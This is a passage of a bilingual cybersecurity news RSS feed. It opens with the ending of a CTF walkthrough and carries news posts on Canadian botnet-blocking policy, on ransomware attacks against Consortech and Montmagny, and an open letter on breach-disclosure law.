Welcome to Ubuntu 18.04.5 LTS <span class="o">(</span>GNU/Linux 4.15.0-128-generic x86_64<span class="o">)</span>

root@watcher:~# <span class="nb">ls</span> <span class="nt">-l</span> 
total 4
<span class="nt">-rw-r--r--</span> 1 root root 31 Dec  3 02:26 flag_7.txt

</code></pre></div></div>

<p>C’était notre dernier flag.</p>

<p>C’est une box amusante à rooter. Avec beaucoup d’étapes. Je ne suis pas sûr qu’elle devrait être classée comme difficulté moyenne. Toutes les étapes étaient plutôt faciles à réaliser. Surtout avec les fichiers note.txt qui donnent d’énormes indices.</p>

<p>Texte aussi publié sur : <a href="https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/">https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Blocking zombies is not easy</title>
      <link>https://media.hackfest.ca/en/blog/crtc-botnet-blocking</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/crtc-botnet-blocking</guid>
      <pubDate>Thu, 11 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <description>Until March 15, the CRTC is holding a call for comments on its plan to block botnet traffic. It recommends using measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by botnet operators suggests this will be anything but easy.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-botnet.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-botnet.webp" alt="" /></p>

<p>Is your smart fridge a traitor? Could it be that it no longer just texts you when you run out of milk, but has been recruited into a zombie network (botnet)? The CRTC (Canadian Radio-television and Telecommunications Commission) plans to block botnet traffic by applying measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by operators shows this will be anything but easy.</p>

<p>The federal body responsible for regulating telecommunications proposes giving Internet service providers (ISPs) the mandate to filter botnet traffic. It is in this context that, until March 15, it is holding <a href="https://crtc.gc.ca/fra/archive/2021/2021-9.htm">a call for comments</a>. This blocking is meant to prevent communication between the infected devices that make up the botnet and their command and control server (C2 server). This filtering could take several forms. The CRTC’s call mentions “domain-based blocking, Internet Protocol (IP)-based blocking, and protocol-based blocking.”</p>

<p>The domain name is the name of the website we type into a browser’s address bar, such as “hackfest.ca,” for example. This domain name is then translated into an IP address by domain name resolvers (DNS).</p>

<p>“Domain-based blocking” involves creating and continuously updating a list of domain names to block. “Internet Protocol (IP)-based blocking” amounts to creating a similar list, but for IP addresses. To prevent abuse, the CRTC suggests that “an independent party specializing in cybersecurity” be responsible for the framework. That party would be able to approve additions to these lists.</p>

<h3 id="changing-addresses-to-avoid-detection">Changing addresses to avoid detection</h3>

<p>The obfuscation techniques used by botnet operators make applying these techniques extremely difficult. Indeed, as described in a review of the scientific literature published in 2017 <a href="https://www.mdpi.com/1999-5903/9/4/55">(Botnet detection technology based on DNS, Xingguo Li et al., 2017)</a>, botnets use a method called “domain flux” to thwart detection attempts. This method allows botnets to constantly change the names of their C2 servers. Algorithms are used to generate multiple domain names pseudo-randomly. According to the authors of this article, keeping the list of these domains up to date would require an enormous amount of resources.</p>

<p>We run into the same problem when trying to block IP addresses. The “fast flux” technique is used to assign multiple IP addresses to the same domain name. In a variant called “double flux,” the zombies do not communicate directly with the C2 server, but with an intermediate layer of devices acting as relays. This configuration provides more resilience by isolating the core of the botnet.</p>

<h3 id="the-risk-of-false-positives">The risk of false positives</h3>

<p>Other factors increase what are known as “false positives” (the risk of blocking a domain name or IP address that is not malicious).</p>

<p>There are legitimate reasons to use botnet networks. These are not made up of devices infected without their owners’ knowledge, but they use a similar architecture. They are used for crawling the web (“web scraping”), by penetration testing teams (“red team”) and for other automation processes.</p>

<p><a href="https://www.fireeye.com/blog/threat-research/2010/09/chasing-cnc-servers-part-2.html">An article by the firm Fireeye</a> sums up these difficulties well.</p>

<ul>
  <li>Botnet developers use legitimate websites to host their code. It may be that a single document on such a site is used by the botnet for criminal purposes. Blocking the domain will not only block the zombies, but also legitimate access to the infected website.</li>
  <li>Operators use platforms such as Twitter, Amazon Cloud Services and other public hosting services. Blocking these services entirely is inconceivable.</li>
  <li>IP addresses, once abandoned by botnet operators, are used by legitimate sources that end up on blocklists.</li>
  <li>The Fireeye article also mentions the use of P2P (peer-to-peer) protocols. These botnets do not use C2 servers, rendering mechanisms for blocking them obsolete.</li>
</ul>

<p>Faced with the botnet threat, the CRTC has expressed its desire to find a solution that is easy, effective and does not impose additional costs on Internet subscribers. An overview of the technologies used by botnet operators seems to indicate that a solution to this problem will be anything but easy.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/melissawarhol/">Melissa Mathies</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Pas facile de bloquer les zombies</title>
      <link>https://media.hackfest.ca/blog/crtc-blocage-botnet</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/crtc-blocage-botnet</guid>
      <pubDate>Thu, 11 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <description>Le CRTC tient jusqu’au 15 mars un appel aux observations sur le projet de bloquer le trafic des réseaux de zombies. Il recommande d’utiliser les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs de botnets fait croire que cela sera tout sauf facile.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-botnet.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-botnet.webp" alt="" /></p>

<p>Votre réfrigérateur intelligent est-il un traître? Est-il possible qu’il ne se contente plus de vous envoyer un texto lorsque vous n’avez plus de lait, mais se soit fait recruter dans un réseau de zombies (botnet)? Le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) a le projet de bloquer le trafic des botnets en appliquant les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs montre que cela sera tout sauf facile.</p>

<p>L’organisme fédéral responsable de la régulation des télécommunications propose de donner le mandat de filtrer le trafic des botnets aux fournisseurs d’accès à Internet (FAI). C’est dans ce contexte qu’il tient jusqu’au 15 mars <a href="https://crtc.gc.ca/fra/archive/2021/2021-9.htm">un appel aux observations</a>. Ce blocage doit permettre d’empêcher la communication entre les appareils infectés qui constituent le réseau de zombies et leur serveur de contrôle et de commande (serveur C2). Ce filtrage pourrait prendre plusieurs formes. L’appel du CRTC mentionne « le blocage basé sur le domaine, le blocage basé sur le protocole Internet (IP) et le blocage basé sur le protocole ».</p>

<p>Le nom de domaine est le nom du site web que nous écrivons dans la barre d’adresse d’un fureteur, comme « hackfest.ca », par exemple. Ce nom de domaine est ensuite traduit en adresse IP par des résolveurs de domaine (DNS).</p>

<p>Le « blocage basé sur le domaine » implique l’instauration et la mise à jour en continu d’une liste de noms de domaines à bloquer. Le « blocage basé sur le protocole Internet (IP) » équivaut à créer une liste semblable, mais pour des adresses IP. Pour éviter les abus, le CRTC suggère qu’« une partie indépendante spécialisée en cybersécurité » soit responsable du cadre. Celle-ci pourra approuver les ajouts à ces listes.</p>

<h3 id="changer-dadresse-pour-ne-pas-être-découvert">Changer d’adresse pour ne pas être découvert</h3>

<p>Les techniques d’obfuscation utilisées par les opérateurs de botnets rendent l’application de ces techniques extrêmement difficile. En effet, comme décrit dans une revue de la littérature scientifique publiée en 2017 <a href="https://www.mdpi.com/1999-5903/9/4/55">(Botnet detection technology based on DNS, Xingguo Li et al., 2017)</a>, les botnets utilisent une méthode appelée « domain flux » pour déjouer les tentatives de détection. Cette méthode permet aux botnets de modifier constamment le nom de leurs serveurs C2. Des algorithmes sont utilisés pour générer de multiples noms de domaines de façon pseudo-aléatoire. Selon les auteurs de cet article, garder à jour la liste de ces domaines nécessiterait une énorme quantité de ressources.</p>

<p>On se retrouve devant le même problème en tentant de bloquer les adresses IP. La technique du « fast flux » est utilisée pour assigner de multiples adresses IP au même nom de domaine. Dans une variante appelée « double flux », les zombies ne communiquent pas directement avec le serveur C2, mais avec une couche intermédiaire d’appareils qui servent de relais. Cette configuration assure plus de résilience en isolant le cœur du botnet.</p>

<h3 id="le-risque-de-faux-positifs">Le risque de faux positifs</h3>

<p>Il y a d’autres facteurs qui augmentent ce que l’on appelle les « faux positifs » (le risque de bloquer un nom de domaine ou une adresse IP qui n’est pas malicieuse).</p>

<p>Il existe des raisons légitimes d’utiliser des réseaux de botnets. Ceux-ci ne sont pas composés d’appareils infectés à leur insu, mais utilisent une architecture similaire. Ils servent à parcourir le web (“web scraping”), aux équipes de tests de pénétration (“red team”) et autres processus d’automatisation.</p>

<p><a href="https://www.fireeye.com/blog/threat-research/2010/09/chasing-cnc-servers-part-2.html">Un article de la firme Fireeye</a> résume bien ces difficultés.</p>

<ul>
  <li>Les développeurs de botnets utilisent des sites web légitimes pour héberger leur code. Il se peut qu’un seul document sur ce site soit utilisé par le botnet à des fins criminelles. Bloquer le domaine ne bloquera pas seulement les zombies, mais l’accès légitime au site web infecté.</li>
  <li>Les opérateurs se servent de plateformes telles que Twitter, Amazon Cloud Services et d’autres services d’hébergement publics. Il est inconcevable de bloquer entièrement ces services.</li>
  <li>Les adresses IP une fois abandonnées par les opérateurs de botnets sont utilisées par des sources légitimes qui se retrouvent sur les listes de blocage.</li>
  <li>L’article de Fireeye mentionne également l’utilisation de protocole P2P (peer-to-peer). Ces botnets n’utilisent pas de serveurs C2, rendant caducs les mécanismes de blocage de ceux-ci.</li>
</ul>

<p>Face à la menace des botnets, le CRTC exprime son désir de trouver une solution facile, efficace et qui n’entraîne pas de coûts supplémentaires pour les abonnés aux services Internet. Le survol des technologies utilisées par les opérateurs de botnet semble indiquer qu’une solution à ce problème sera tout sauf facile.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/melissawarhol/">Melissa Mathies</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>A company specializing in geomatics becomes a ransomware target</title>
      <link>https://media.hackfest.ca/en/blog/geomatics-company-ransomware-target</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/geomatics-company-ransomware-target</guid>
      <pubDate>Tue, 09 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Avaddon</category>
      <description>Brossard-based company Consortech was the target of a cyberattack in early March. They quickly recovered their data. However, they had to face the threat of seeing it released publicly. The disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" alt="" /></p>

<p>Brossard-based company Consortech was the target of a cyberattack in early March. Despite the deployment of ransomware, they quickly recovered their data. However, they had to face the threat of seeing it released publicly. The subsequent disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.</p>

<p>Founded in 1989, Consortech specializes in getting value out of geospatial data. The company implements solutions for processing geographic data and automating the related processes. Its clients include several municipalities.</p>

<p>Avaddon, the ransomware group responsible for this attack, uses the “double extortion” method to increase pressure on its victims. In addition to encrypting the data to make it inaccessible, the hackers threaten to publish it if a ransom is not paid. A sample was posted on the Avaddon group’s site. It included contacts’ names, email addresses and phone numbers.</p>

<p>Contacted on March 8, Mr. Guillaume Genest, partner and general manager at Consortech, confirms that ransomware paralyzed their systems. The shutdown was short-lived, because the company had “healthy backups.” They were able to get back to work quickly. Mr. Genest confirms that the criminals demanded a ransom, without specifying the amount, and that he did not pay it. According to him, it is not out of the question that the insurer will decide to pay after completing a risk analysis.</p>

<p>Mr. Genest cannot say when the intrusion took place. The method used by the criminals to access their systems is not yet known. “We sent a notice to all of our clients to inform them of the situation and the data leak.” The situation is in the hands of a cybersecurity firm, and no comment can be made on the extent of the leak until the results of the ongoing investigation are in.</p>

<p>The day after our conversation, the company’s name and the page that hosted the data samples were no longer on the “Avaddon info” site. This disappearance suggests that the company, or its insurer, decided to pay the ransom. We tried to contact Mr. Genest by email to confirm the payment, but had not yet received a reply at the time this article was published.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Une compagnie spécialisée en géomatique devient la cible d’un rançongiciel</title>
      <link>https://media.hackfest.ca/blog/compagnie-geomatique-devient-cible-rancongiciel</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/compagnie-geomatique-devient-cible-rancongiciel</guid>
      <pubDate>Tue, 09 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Avaddon</category>
      <description>La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de les retrouver diffusées sur la place publique. La disparition des informations relatives à Consortech du site des pirates laisse croire que ces derniers ont obtenu ce qu’ils désiraient.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" alt="" /></p>

<p>La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Malgré le déploiement d’un rançongiciel, ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de retrouver celles-ci diffusées sur la place publique. La disparition subséquente des informations relatives à Consortech du site des pirates laisse croire que ceux-ci ont obtenu ce qu’ils désiraient.</p>

<p>Consortech, fondée en 1989, se spécialise dans la valorisation des données géospatiales. L’entreprise met en œuvre des solutions de traitement des données géographique et l’automatisation des processus reliés à celles-ci. Elle compte plusieurs municipalités parmi sa clientèle.</p>

<p>Avaddon, le groupe de rançonneurs responsable de cette attaque, utilise la méthode de la « double extorsion » afin d’augmenter la pression sur ses victimes. En plus de chiffrer les données pour les rendre inaccessibles, les pirates menacent de publier celles-ci si une rançon n’est pas payée. Un échantillon était diffusé sur le site du groupe Avaddon. Il comprenait des noms, adresses courriels et numéros de téléphone de contacts.</p>

<p>Contacté le 8 mars, M. Guillaume Genest, associé et directeur général chez Consortech, confirme qu’un rançongiciel a paralysé leurs systèmes. L’arrêt a été de courte durée, car l’entreprise possédait « des backups en bonne santé ». Ils ont pu reprendre leur travail rapidement. M. Genest confirme que les malfaiteurs ont exigé une rançon, sans en préciser le montant, et qu’il ne l’a pas payée. Selon lui, il n’est pas exclu que l’assureur décide de payer après avoir complété une analyse du risque.</p>

<p>M. Genest ne peut dire à quel moment l’intrusion a eu lieu. Le procédé utilisé par les criminels pour accéder à leurs systèmes n’est pas encore connu. « Nous avons envoyé un avis à l’ensemble de notre clientèle pour les aviser de la situation et de la fuite de données ». La situation repose entre les mains d’une firme de cybersécurité et l’on ne peut se prononcer sur l’étendue de la fuite avant les résultats de l’enquête en cours.</p>

<p>Le lendemain de notre conversation, le nom de la compagnie et la page qui hébergeait les échantillons de données ne se trouvent plus sur le site « Avaddon info ». Cette disparition laisse croire que l’entreprise, ou son assureur, a décidé de payer la rançon. Nous avons tenté de contacter M. Genest par courriel pour confirmer le paiement, mais n’avons pas encore reçu de réponse au moment de la publication de cet article.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Montmagny recovers from a NetWalker group attack</title>
      <link>https://media.hackfest.ca/en/blog/montmagny-recovers-netwalker-attack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/montmagny-recovers-netwalker-attack</guid>
      <pubDate>Sun, 21 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>NetWalker</category>
      <category>municipalities</category>
      <description>The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/netwalker.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/netwalker.webp" alt="" /></p>

<p>The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.</p>

<p>It was early in the morning of January 17, while trying to handle snow removal operations, that employees noticed the city’s computers were no longer responding. Criminals associated with the NetWalker group had encrypted their data and were demanding a ransom to recover it.</p>

<p>The outage affected the telephone and computer systems of the city, the library and the Société de développement économique de Montmagny. The use of externally hosted services and redundancies allowed the controllers of the water treatment management system and the emergency telephone system to remain operational.</p>

<h3 id="data-recovered-without-a-ransom">Data recovered without a ransom</h3>

<p>Reached by phone, Mr. Félix Michaud, Director General of the City of Montmagny, says the city has recovered the stolen data. “A new secure architecture” will be up and running in a few days. “We were lucky in our misfortune,” since the authorities dismantled NetWalker ten days after this attack.</p>

<p>The data systems will be restored without loss and without any ransom being paid. Mr. Michaud cannot say how the data was recovered, because the experts “don’t reveal the secret ingredients of their recipes,” but it does not appear that the hackers made copies. The experts are keeping watch to see whether this data resurfaces.</p>

<h3 id="netwalker-a-turnkey-service">NetWalker, a turnkey service</h3>

<p>Netwalker was a platform that allowed “affiliates” to rent its services to carry out ransomware attacks. The affiliate finds vulnerable computer systems and deploys the software maintained by the platform’s “developers.” This group had adopted the “double extortion” strategy. In addition to encrypting the data, the group would publish a sample of it and threaten to make everything public in order to force its victims to pay the ransom. The profits are then shared between the affiliate and the developers.</p>

<p>On January 27, the United States Department of Justice <a href="https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" target="_blank">announced the arrest</a> of a 33-year-old man living in Gatineau, Sébastien Vachon-Desjardins, in connection with the dismantling of the NetWalker network. According to an article <a href="https://blog.chainalysis.com/reports/netwalker-ransomware-disruption-arrest" target="_blank">published by the firm chainalysis</a>, he is allegedly responsible for 91 attacks since April 2020. The same week, Bulgarian authorities seized a server hosting a “dark web” site used to communicate with victims and give them payment instructions.</p>

<p>Montmagny’s IT services will be restored within a few days. Mr. Michaud hopes that talking about their experience will help raise awareness among other organizations and businesses of the risks posed by this type of attack. He points out that the city managed to keep providing the necessary services thanks to the staff’s creativity, and that “in adversity, it helps forge closer ties between team members.”</p>
]]></content:encoded>
    </item>
    <item>
      <title>Montmagny se relève d&apos;une attaque du groupe NetWalker</title>
      <link>https://media.hackfest.ca/blog/montmagny-se-releve-attaque-netwalker</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/montmagny-se-releve-attaque-netwalker</guid>
      <pubDate>Sun, 21 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>NetWalker</category>
      <category>municipalités</category>
      <description>La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/netwalker.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/netwalker.webp" alt="" /></p>

<p>La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.</p>

<p>C’est tôt le matin du 17 janvier, en tentant de s’occuper des opérations de déneigement, que des employés ont noté que les ordinateurs de la ville ne répondaient plus. Des malfaiteurs associés au groupe NetWalker avaient chiffré leurs données et réclamaient une rançon afin de les récupérer.</p>

<p>La panne a affecté les systèmes téléphoniques et informatiques de la ville, de la bibliothèque, ainsi que de la Société de développement économique de Montmagny. L’utilisation de services hébergés à l’externe et des redondances ont permis aux automates du système de gestion du traitement des eaux et au système téléphonique d’urgence de demeurer fonctionnels.</p>

<h3 id="des-données-récupérées-sans-rançon">Des données récupérées sans rançon</h3>

<p>Joint au téléphone, M. Félix Michaud, directeur général de la Ville de Montmagny, affirme que la ville a récupéré les données subtilisées. « Une nouvelle architecture sécurisée » sera en fonction dans quelques jours. « Nous avons été chanceux dans notre malchance », car les autorités ont démantelé NetWalker dix jours après cette attaque.</p>

<p>Les systèmes de données seront rétablis, sans perte et sans qu’une rançon soit payée. M. Michaud ne peut dire comment les données ont été récupérées, car les experts « ne dévoilent pas les ingrédients secrets de leurs recettes », mais il ne semble pas que les pirates ont effectué des copies. Les experts poursuivent une veille afin de surveiller si ces données refont surface.</p>

<h3 id="netwalker-un-service-clé-en-main">NetWalker, un service clé en main</h3>

<p>Netwalker était une plateforme qui permettait à des « affiliés » de louer ses services pour effectuer des attaques de type rançongiciel. L’affilié trouve des systèmes informatiques vulnérables et déploie le logiciel maintenu par les « développeurs » de la plateforme. Ce groupe avait adopté la stratégie de la « double extorsion ». En plus de chiffrer les données, le groupe en publiait un échantillon et menaçait de rendre le tout public afin de forcer leurs victimes à payer la rançon. Les profits sont ensuite partagés entre l’affilié et les développeurs.</p>

<p>Le 27 janvier, le département de la justice des États-Unis <a href="https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" target="_blank">a annoncé l’arrestation</a> d’un homme de 33 ans vivant à Gatineau, Sébastien Vachon-Desjardins, en lien avec le démantèlement du réseau NetWalker. Selon un article <a href="https://blog.chainalysis.com/reports/netwalker-ransomware-disruption-arrest" target="_blank">publié par la firme chainalysis</a>, celui-ci serait responsable de 91 attaques depuis le mois d’avril 2020. La même semaine, les autorités bulgares saisissaient un serveur hébergeant un site sur le « dark web » utilisé pour communiquer avec les victimes et leur indiquer les procédures de paiement.</p>

<p>Les services informatiques magnymontois seront rétablis d’ici quelques jours. M. Michaud espère que le fait de parler de leur expérience servira à sensibiliser les autres organisations et entreprises aux risques que pose ce genre d’attaque. Il souligne que la ville a réussi à continuer à offrir les services nécessaires grâce à la créativité du personnel et que « dans l’adversité, cela permet de tisser des liens plus serrés entre les membres de l’équipe ».</p>
]]></content:encoded>
    </item>
    <item>
      <title>Obligations following a security breach</title>
      <link>https://media.hackfest.ca/en/blog/obligations-after-security-breach</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/obligations-after-security-breach</guid>
      <pubDate>Sat, 20 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>open letter</category>
      <category>breaches</category>
      <category>CAI</category>
      <description>Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others</description>
      <enclosure url="https://media.hackfest.ca/images/posts/breche.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/breche.webp" alt="" /></p>

<ul>
  <li><strong>Addressed to</strong>: Commission d’accès à l’information du Québec (Quebec’s access to information commission) and of Canada</li>
  <li><strong>By</strong>: Hackfest Communication and its participants:
    <ul>
      <li>Sam Harper</li>
      <li>Coralie Grozner</li>
      <li>Eric Hogue</li>
    </ul>
  </li>
</ul>

<p>Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others, are falling victim to criminal groups using ransomware and other computer tools that allow them to steal data and extort their victims. Most of these breaches are not disclosed to the public, and a large number of these victims pay the ransoms. It is a lucrative market and, without a concerted response, it will only keep growing.</p>

<p>The Hackfest community is made up of people interested in cybersecurity. They are individuals who want to share their knowledge in the fields of information technology and cybersecurity. What we have in common is an awareness of the risks we are all exposed to when personal information is leaked. We care deeply about respecting confidentiality and security, and about putting appropriate measures in place to preserve them. We are speaking out because we believe this goal can be achieved through collaboration and greater transparency.</p>

<h2 id="disclosure-obligation">Disclosure obligation</h2>

<p>Bill 64 is a step in the right direction. It will set out the obligation to disclose when a company is the victim of a security breach. We welcome the requirement to put clear privacy policies in place and the fact that the operator of a business is made responsible for protecting the personal information it holds.</p>

<p>Unfortunately, it seems to us that it leaves a lot of leeway to companies that want to avoid the obligation to disclose a “confidentiality incident.” The bill stipulates that a company is required to notify the Commission and the affected person only if the incident causes “serious injury.” We are currently seeing breaches, and their severity, being trivialized. We believe the balance should tip the other way, and that every “confidentiality incident” should be reported unless doing so would cause “serious injury.”</p>

<h2 id="knowledge-sharing-as-a-means-of-defence">Knowledge sharing as a means of defence</h2>

<p>It is rare for a company to disclose the technical information surrounding security breaches. Yet the community would benefit from a more open sharing of this information. While taking into account the need not to disclose sensitive or harmful information, a technical report should be required. What means did the criminals use? What software or organizational vulnerabilities were exploited? What types of data were stolen? How was the breach discovered?</p>

<p>Bill 64 provides for an obligation to take “reasonable” measures to ensure the security of personal information. These measures come at a cost. It would be interesting to know what percentage of their budget organizations and companies devote to cybersecurity. This information would allow customers to make an informed choice by choosing the companies that truly care about the security of their data.</p>

<h1 id="discouraging-ransom-payments">Discouraging ransom payments</h1>

<p>Ransomware is a lucrative business. As long as we pay, we will continue to be the victims of these attacks. Moreover, it is misguided to rely on criminal groups’ promises to destroy stolen data. A victim who pays once is a prime target for a second attack.</p>

<h1 id="deterrent-administrative-and-monetary-penalties">Deterrent administrative and monetary penalties</h1>

<p>We are pleased to see monetary penalties introduced in Bill 64. Unfortunately, as long as the cost of inaction remains lower than the cost of an effective cybersecurity program, some will prioritize inaction. Penalties must be deterrent and large enough to encourage companies that do not take the threat seriously to invest adequately in cybersecurity.</p>

<p>We are aware that not all companies have the same means. However, keeping personal data is a choice that comes with responsibility. These penalties should therefore be paired with the possibility for SMEs to benefit from consulting services suited to their means.</p>

<p>Security breaches and data leaks are part of the new reality. The consequences for affected companies and their customers are serious. It is therefore essential to take this threat seriously and put the necessary measures in place to stem this scourge.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Obligation lors de brèche de sécurité</title>
      <link>https://media.hackfest.ca/blog/obligation-lors-breche-securite</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/obligation-lors-breche-securite</guid>
      <pubDate>Sat, 20 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>lettre ouverte</category>
      <category>brèches</category>
      <category>CAI</category>
      <description>Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres</description>
      <enclosure url="https://media.hackfest.ca/images/posts/breche.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/breche.webp" alt="" /></p>

<ul>
  <li><strong>Adressé à</strong>: Commission d’accès à l’information du Québec et du Canada</li>
  <li><strong>Par</strong>: Hackfest Communication et ses participants:
    <ul>
      <li>Sam Harper</li>
      <li>Coralie Grozner</li>
      <li>Eric Hogue</li>
    </ul>
  </li>
</ul>

<p>Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres, sont victimes de groupes criminels utilisant des rançongiciels et autres outils informatiques leur permettant le vol de données et l’extorsion. La plupart de ces brèches ne sont pas dévoilées au public et un grand nombre de ces victimes paient les rançons. C’est un marché lucratif et sans une réponse concertée, il ne fera que prendre de l’ampleur.</p>

<p>La communauté du Hackfest est composée de personnes intéressées par la cybersécurité. Il s’agit d’individus qui désirent partager leurs connaissances dans les domaines des technologies de l’information et de la cybersécurité. Nous avons en commun une sensibilisation face aux risques auxquels nous sommes toutes et tous exposés lorsque surviennent des fuites de renseignements personnels. Nous avons à cœur le respect de la confidentialité et de la sécurité et la mise en place de mesures appropriées pour la préserver. Nous prenons la parole car nous croyons que cet objectif est atteignable par la collaboration et une plus grande transparence.</p>

<h2 id="obligation-de-divulgation">Obligation de divulgation</h2>

<p>Le projet de Loi 64 est un pas dans la bonne direction. Il va baliser l’obligation de divulgation lorsqu’une entreprise est victime d’une brèche de sécurité. Nous saluons l’obligation de mise en place de politique claire sur la confidentialité et le fait de rendre l’exploitant d’une entreprise responsable de la protection des renseignements personnels qu’il détient.</p>

<p>Malheureusement, il nous semble qu’il laisse beaucoup de marge de manœuvre aux entreprises qui désirent se soustraire à l’obligation de dévoiler un « incident de confidentialité ». Le projet de Loi stipule qu’une entreprise est dans l’obligation d’aviser la Commission et la personne impactée seulement si elle cause un « préjudice sérieux ». Nous constatons actuellement une banalisation des brèches et de la gravité de celles-ci. Nous croyons que la balance devrait pencher dans l’autre sens et que tout « incident de confidentialité » devrait être rapporté à moins qu’il y ait un « préjudice sérieux » de le faire.</p>

<h2 id="le-partage-des-connaissances-comme-moyen-de-défense">Le partage des connaissances comme moyen de défense</h2>

<p>Il est rare qu’une entreprise divulgue les informations techniques entourant les brèches de sécurité. Pourtant, la communauté sortirait gagnante d’un partage plus ouvert de ces informations. En tenant compte de la nécessité de ne pas dévoiler d’informations sensibles ou préjudiciables, un bilan technique devrait être exigé. Quels moyens les criminels ont-ils utilisés? Quelles sont les vulnérabilités logicielles ou organisationnelles qui ont été exploitées? Quels types de données ont été volées? Comment la brèche a-t-elle été découverte?</p>

